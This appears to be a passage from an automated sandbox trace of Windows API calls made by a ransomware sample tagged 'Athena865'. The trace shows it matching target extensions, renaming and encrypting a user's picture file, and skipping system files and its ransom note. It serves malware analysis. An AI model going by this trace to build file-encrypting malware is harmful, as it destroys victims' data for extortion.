lstrlenW (lpString="gdb") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0051.769] lstrlenW (lpString="gdb") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0051.769] lstrlenW (lpString="grdb") returned 4 [0051.769] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1 [0051.769] lstrlenW (lpString="gwi") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1 [0051.769] lstrlenW (lpString="hdb") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1 [0051.769] lstrlenW (lpString="his") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="his") returned 1 [0051.769] lstrlenW (lpString="ib") returned 2 [0051.769] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1 [0051.769] lstrlenW (lpString="idb") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="idb") returned 1 [0051.769] lstrlenW (lpString="ihx") returned 3 [0051.769] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1 [0051.769] lstrlenW (lpString="itdb") returned 4 [0051.769] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1 [0051.769] lstrlenW (lpString="itw") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="itw") returned 1 [0051.770] lstrlenW (lpString="jet") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="jet") returned 1 [0051.770] lstrlenW (lpString="jtx") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1 [0051.770] lstrlenW (lpString="kdb") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1 [0051.770] lstrlenW (lpString="kexi") returned 4 [0051.770] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1 [0051.770] lstrlenW (lpString="kexic") returned 5 [0051.770] lstrcmpiW (lpString1="E.png", lpString2="kexic") returned -1 [0051.770] lstrlenW (lpString="kexis") returned 5 [0051.770] lstrcmpiW (lpString1="E.png", lpString2="kexis") returned -1 [0051.770] lstrlenW (lpString="lgc") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1 [0051.770] lstrlenW (lpString="lwx") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1 [0051.770] lstrlenW (lpString="maf") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="maf") returned 1 [0051.770] lstrlenW (lpString="maq") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="maq") returned 1 [0051.770] lstrlenW (lpString="mar") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="mar") returned 1 [0051.770] lstrlenW (lpString="marshal") returned 7 [0051.770] lstrcmpiW (lpString1="pLE.png", lpString2="marshal") returned 1 [0051.770] lstrlenW (lpString="mas") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="mas") returned 1 [0051.770] lstrlenW (lpString="mav") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="mav") returned 1 [0051.770] lstrlenW (lpString="maw") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="maw") returned 1 [0051.770] lstrlenW (lpString="mdbhtml") returned 7 [0051.770] lstrcmpiW (lpString1="pLE.png", lpString2="mdbhtml") returned 1 [0051.770] lstrlenW (lpString="mdn") returned 3 [0051.770] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1 [0051.771] lstrlenW (lpString="mdt") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1 [0051.771] lstrlenW (lpString="mfd") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1 [0051.771] lstrlenW (lpString="mpd") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1 [0051.771] lstrlenW (lpString="mrg") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1 [0051.771] lstrlenW (lpString="mud") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="mud") returned 1 [0051.771] lstrlenW (lpString="mwb") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1 [0051.771] lstrlenW (lpString="myd") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="myd") returned 1 [0051.771] lstrlenW (lpString="ndf") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1 [0051.771] lstrlenW (lpString="nnt") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1 [0051.771] lstrlenW (lpString="nrmlib") returned 6 [0051.771] lstrcmpiW (lpString1="LE.png", lpString2="nrmlib") returned -1 [0051.771] lstrlenW (lpString="ns2") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1 [0051.771] lstrlenW (lpString="ns3") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1 [0051.771] lstrlenW (lpString="ns4") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1 [0051.771] lstrlenW (lpString="nsf") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1 [0051.771] lstrlenW (lpString="nv") returned 2 [0051.771] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1 [0051.771] lstrlenW (lpString="nv2") returned 3 [0051.771] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1 [0051.771] lstrlenW (lpString="nwdb") returned 4 [0051.771] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1 [0051.772] lstrlenW (lpString="nyf") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1 [0051.772] lstrlenW (lpString="odb") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0051.772] lstrlenW (lpString="odb") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0051.772] lstrlenW (lpString="oqy") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1 [0051.772] lstrlenW (lpString="ora") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="ora") returned 1 [0051.772] lstrlenW (lpString="orx") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="orx") returned 1 [0051.772] lstrlenW (lpString="owc") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="owc") returned 1 [0051.772] lstrlenW (lpString="p96") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="p96") returned 1 [0051.772] lstrlenW (lpString="p97") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="p97") returned 1 [0051.772] lstrlenW (lpString="pan") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="pan") returned 1 [0051.772] lstrlenW (lpString="pdb") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1 [0051.772] lstrlenW (lpString="pdm") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1 [0051.772] lstrlenW (lpString="pnz") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1 [0051.772] lstrlenW (lpString="qry") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="qry") returned -1 [0051.772] lstrlenW (lpString="qvd") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1 [0051.772] lstrlenW (lpString="rbf") returned 3 [0051.772] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1 [0051.772] lstrlenW (lpString="rctd") returned 4 [0051.772] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1 [0051.773] lstrlenW (lpString="rod") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="rod") returned -1 [0051.773] lstrlenW (lpString="rodx") returned 4 [0051.773] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1 [0051.773] lstrlenW (lpString="rpd") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1 [0051.773] lstrlenW (lpString="rsd") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1 [0051.773] lstrlenW (lpString="sas7bdat") returned 8 [0051.773] lstrcmpiW (lpString1="epLE.png", lpString2="sas7bdat") returned -1 [0051.773] lstrlenW (lpString="sbf") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1 [0051.773] lstrlenW (lpString="scx") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="scx") returned -1 [0051.773] lstrlenW (lpString="sdb") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1 [0051.773] lstrlenW (lpString="sdc") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1 [0051.773] lstrlenW (lpString="sdf") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1 [0051.773] lstrlenW (lpString="sis") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="sis") returned -1 [0051.773] lstrlenW (lpString="spq") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="spq") returned -1 [0051.773] lstrlenW (lpString="te") returned 2 [0051.773] lstrcmpiW (lpString1="ng", lpString2="te") returned -1 [0051.773] lstrlenW (lpString="teacher") returned 7 [0051.773] lstrcmpiW (lpString1="pLE.png", lpString2="teacher") returned -1 [0051.773] lstrlenW (lpString="tmd") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1 [0051.773] lstrlenW (lpString="tps") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="tps") returned -1 [0051.773] lstrlenW (lpString="trc") returned 3 [0051.773] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0051.774] lstrlenW (lpString="trc") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0051.774] lstrlenW (lpString="trm") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="trm") returned -1 [0051.774] lstrlenW (lpString="udb") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="udb") returned -1 [0051.774] lstrlenW (lpString="udl") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="udl") returned -1 [0051.774] lstrlenW (lpString="usr") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="usr") returned -1 [0051.774] lstrlenW (lpString="v12") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="v12") returned -1 [0051.774] lstrlenW (lpString="vis") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="vis") returned -1 [0051.774] lstrlenW (lpString="vpd") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1 [0051.774] lstrlenW (lpString="vvv") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1 [0051.774] lstrlenW (lpString="wdb") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1 [0051.774] lstrlenW (lpString="wmdb") returned 4 [0051.774] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1 [0051.774] lstrlenW (lpString="wrk") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1 [0051.774] lstrlenW (lpString="xdb") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1 [0051.774] lstrlenW (lpString="xld") returned 3 [0051.774] lstrcmpiW (lpString1="png", lpString2="xld") returned -1 [0051.774] lstrlenW (lpString="xmlff") returned 5 [0051.774] lstrcmpiW (lpString1="E.png", lpString2="xmlff") returned -1 [0051.774] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\pWaepLE.png.Athena865") returned 77 [0051.774] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\pWaepLE.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\pwaeple.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\pWaepLE.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\pwaeple.png.athena865"), dwFlags=0x1) returned 1 [0051.775] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\pWaepLE.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\pwaeple.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.775] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=83207) returned 1 [0051.775] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.776] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.776] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.776] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.776] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14810, lpName=0x0) returned 0x154 [0051.777] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14810) returned 0x100000 [0051.780] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.780] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.780] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.781] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.782] CloseHandle (hObject=0x154) returned 1 [0051.782] CloseHandle (hObject=0x17c) returned 1 [0051.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.783] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5c1ea70, ftCreationTime.dwHighDateTime=0x1d4cd94, ftLastAccessTime.dwLowDateTime=0xcc9b8f70, ftLastAccessTime.dwHighDateTime=0x1d4d23a, ftLastWriteTime.dwLowDateTime=0xcc9b8f70, ftLastWriteTime.dwHighDateTime=0x1d4d23a, nFileSizeHigh=0x0, nFileSizeLow=0xed03, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qgINIqoMFF7bLoKfY.bmp", cAlternateFileName="QGINIQ~1.BMP")) returned 1 [0051.783] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2=".") returned 1 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2="..") returned 1 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2="windows") returned -1 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2="bootmgr") returned 1 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2="temp") returned -1 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2="pagefile.sys") returned 1 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2="boot") returned 1 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2="ids.txt") returned 1 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2="ntuser.dat") returned 1 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2="perflogs") returned 1 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2="MSBuild") returned 1 [0051.784] lstrlenW (lpString="qgINIqoMFF7bLoKfY.bmp") returned 21 [0051.784] lstrcpyW (in: lpString1=0x241e8b8, lpString2="qgINIqoMFF7bLoKfY.bmp" | out: lpString1="qgINIqoMFF7bLoKfY.bmp") returned="qgINIqoMFF7bLoKfY.bmp" [0051.784] lstrlenW (lpString="qgINIqoMFF7bLoKfY.bmp") returned 21 [0051.784] lstrlenW (lpString="Athena865") returned 9 [0051.784] lstrcmpiW (lpString1="LoKfY.bmp", lpString2="Athena865") returned 1 [0051.784] lstrlenW (lpString=".dll") returned 4 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2=".dll") returned 1 [0051.784] lstrlenW (lpString=".lnk") returned 4 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2=".lnk") returned 1 [0051.784] lstrlenW (lpString=".ini") returned 4 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2=".ini") returned 1 [0051.784] lstrlenW (lpString=".sys") returned 4 [0051.784] lstrcmpiW (lpString1="qgINIqoMFF7bLoKfY.bmp", lpString2=".sys") returned 1 [0051.784] lstrlenW (lpString="qgINIqoMFF7bLoKfY.bmp") returned 21 [0051.784] lstrlenW (lpString="bak") returned 3 [0051.784] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0051.784] lstrlenW (lpString="ba_") returned 3 [0051.784] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0051.784] lstrlenW (lpString="dbb") returned 3 [0051.784] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0051.784] lstrlenW (lpString="vmdk") returned 4 [0051.785] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0051.785] lstrlenW (lpString="rar") returned 3 [0051.785] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0051.785] lstrlenW (lpString="zip") returned 3 [0051.785] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0051.785] lstrlenW (lpString="tgz") returned 3 [0051.785] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0051.785] lstrlenW (lpString="vbox") returned 4 [0051.785] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0051.785] lstrlenW (lpString="vdi") returned 3 [0051.785] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0051.785] lstrlenW (lpString="vhd") returned 3 [0051.785] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0051.785] lstrlenW (lpString="vhdx") returned 4 [0051.785] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0051.785] lstrlenW (lpString="avhd") returned 4 [0051.785] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1 [0051.785] lstrlenW (lpString="db") returned 2 [0051.785] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0051.785] lstrlenW (lpString="db2") returned 3 [0051.785] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0051.785] lstrlenW (lpString="db3") returned 3 [0051.785] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0051.785] lstrlenW (lpString="dbf") returned 3 [0051.785] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0051.785] lstrlenW (lpString="mdf") returned 3 [0051.785] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0051.785] lstrlenW (lpString="mdb") returned 3 [0051.785] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0051.785] lstrlenW (lpString="sql") returned 3 [0051.785] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1 [0051.785] lstrlenW (lpString="sqlite") returned 6 [0051.785] lstrcmpiW (lpString1="fY.bmp", lpString2="sqlite") returned -1 [0051.786] lstrlenW (lpString="sqlite3") returned 7 [0051.786] lstrcmpiW (lpString1="KfY.bmp", lpString2="sqlite3") returned -1 [0051.786] lstrlenW (lpString="sqlitedb") returned 8 [0051.786] lstrcmpiW (lpString1="oKfY.bmp", lpString2="sqlitedb") returned -1 [0051.786] lstrlenW (lpString="xml") returned 3 [0051.786] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0051.786] lstrlenW (lpString="$er") returned 3 [0051.786] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0051.786] lstrlenW (lpString="4dd") returned 3 [0051.786] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0051.786] lstrlenW (lpString="4dl") returned 3 [0051.786] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0051.786] lstrlenW (lpString="^^^") returned 3 [0051.786] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0051.786] lstrlenW (lpString="abs") returned 3 [0051.786] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0051.786] lstrlenW (lpString="abx") returned 3 [0051.786] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0051.786] lstrlenW (lpString="accdb") returned 5 [0051.786] lstrcmpiW (lpString1="Y.bmp", lpString2="accdb") returned 1 [0051.786] lstrlenW (lpString="accdc") returned 5 [0051.786] lstrcmpiW (lpString1="Y.bmp", lpString2="accdc") returned 1 [0051.786] lstrlenW (lpString="accde") returned 5 [0051.786] lstrcmpiW (lpString1="Y.bmp", lpString2="accde") returned 1 [0051.786] lstrlenW (lpString="accdr") returned 5 [0051.786] lstrcmpiW (lpString1="Y.bmp", lpString2="accdr") returned 1 [0051.786] lstrlenW (lpString="accdt") returned 5 [0051.786] lstrcmpiW (lpString1="Y.bmp", lpString2="accdt") returned 1 [0051.786] lstrlenW (lpString="accdw") returned 5 [0051.786] lstrcmpiW (lpString1="Y.bmp", lpString2="accdw") returned 1 [0051.786] lstrlenW (lpString="accft") returned 5 [0051.786] lstrcmpiW (lpString1="Y.bmp", lpString2="accft") returned 1 [0051.786] lstrlenW (lpString="adb") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0051.787] lstrlenW (lpString="adb") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0051.787] lstrlenW (lpString="ade") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0051.787] lstrlenW (lpString="adf") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0051.787] lstrlenW (lpString="adn") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0051.787] lstrlenW (lpString="adp") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0051.787] lstrlenW (lpString="alf") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0051.787] lstrlenW (lpString="ask") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0051.787] lstrlenW (lpString="btr") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0051.787] lstrlenW (lpString="cat") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0051.787] lstrlenW (lpString="cdb") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0051.787] lstrlenW (lpString="ckp") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0051.787] lstrlenW (lpString="cma") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0051.787] lstrlenW (lpString="cpd") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0051.787] lstrlenW (lpString="dacpac") returned 6 [0051.787] lstrcmpiW (lpString1="fY.bmp", lpString2="dacpac") returned 1 [0051.787] lstrlenW (lpString="dad") returned 3 [0051.787] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0051.787] lstrlenW (lpString="dadiagrams") returned 10 [0051.787] lstrcmpiW (lpString1="bLoKfY.bmp", lpString2="dadiagrams") returned -1 [0051.787] lstrlenW (lpString="daschema") returned 8 [0051.788] lstrcmpiW (lpString1="oKfY.bmp", lpString2="daschema") returned 1 [0051.788] lstrlenW (lpString="db-journal") returned 10 [0051.788] lstrcmpiW (lpString1="bLoKfY.bmp", lpString2="db-journal") returned -1 [0051.788] lstrlenW (lpString="db-shm") returned 6 [0051.788] lstrcmpiW (lpString1="fY.bmp", lpString2="db-shm") returned 1 [0051.788] lstrlenW (lpString="db-wal") returned 6 [0051.788] lstrcmpiW (lpString1="fY.bmp", lpString2="db-wal") returned 1 [0051.788] lstrlenW (lpString="dbc") returned 3 [0051.788] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0051.788] lstrlenW (lpString="dbs") returned 3 [0051.788] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0051.788] lstrlenW (lpString="dbt") returned 3 [0051.788] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0051.788] lstrlenW (lpString="dbv") returned 3 [0051.788] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0051.788] lstrlenW (lpString="dbx") returned 3 [0051.788] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0051.788] lstrlenW (lpString="dcb") returned 3 [0051.788] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0051.788] lstrlenW (lpString="dct") returned 3 [0051.788] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1 [0051.788] lstrlenW (lpString="dcx") returned 3 [0051.788] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1 [0051.788] lstrlenW (lpString="ddl") returned 3 [0051.788] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1 [0051.788] lstrlenW (lpString="dlis") returned 4 [0051.788] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1 [0051.788] lstrlenW (lpString="dp1") returned 3 [0051.788] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1 [0051.788] lstrlenW (lpString="dqy") returned 3 [0051.788] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1 [0051.788] lstrlenW (lpString="dsk") returned 3 [0051.789] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1 [0051.789] lstrlenW (lpString="dsn") returned 3 [0051.789] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1 [0051.789] lstrlenW (lpString="dtsx") returned 4 [0051.789] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1 [0051.789] lstrlenW (lpString="dxl") returned 3 [0051.789] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1 [0051.789] lstrlenW (lpString="eco") returned 3 [0051.789] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1 [0051.789] lstrlenW (lpString="ecx") returned 3 [0051.789] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1 [0051.789] lstrlenW (lpString="edb") returned 3 [0051.789] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1 [0051.789] lstrlenW (lpString="epim") returned 4 [0051.789] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1 [0051.789] lstrlenW (lpString="fcd") returned 3 [0051.789] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1 [0051.789] lstrlenW (lpString="fdb") returned 3 [0051.789] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1 [0051.789] lstrlenW (lpString="fic") returned 3 [0051.789] lstrcmpiW 